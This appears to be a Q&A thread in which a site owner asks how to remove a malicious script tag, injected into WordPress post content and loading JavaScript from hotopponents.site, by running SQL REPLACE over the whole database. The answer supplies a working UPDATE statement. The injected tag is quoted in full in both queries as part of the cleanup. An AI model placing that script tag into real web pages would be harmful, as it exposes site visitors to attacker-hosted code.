1

Realated to this topic : Why do I receive an error in SQL when trying to find and replace javascript within a database

But didn't work for me. I have the same issue.

I tried:

SELECT
  `post_content`,
  REPLACE(`post_content`, '<script src=''https://hotopponents.site/site.js'' type=''text/javascript''></script>', ''), 
  COUNT(*)
FROM `db742664123`.`VUjlspmhposts` 
WHERE `post_content` LIKE '%<script src=''https://hotopponents.site/site.js'' type=''text/javascript''></script>%' COLLATE utf8_bin 
GROUP BY `post_content`
ORDER BY `post_content` ASC 

Changed the db name and the table. But nothing happened, it returned 0.

Just want to erase these malicious code at once from the whole database.

2
  • What's the error? Commented Oct 9, 2018 at 17:08
  • MySQL returned zero result (zero line ). (Query took 0.0104 sec.) Commented Oct 9, 2018 at 17:17

1 Answer 1

2

This works:

UPDATE wp_posts SET post_content = REPLACE(post_content, '<script src=''https://hotopponents.site/site.js'' type=''text/javascript''></script>', '')
Sign up to request clarification or add additional context in comments.

Comments

Your Answer

By clicking “Post Your Answer”, you agree to our terms of service and acknowledge you have read our privacy policy.

Start asking to get answers

Find the answer to your question by asking.

Ask question

Explore related questions

See similar questions with these tags.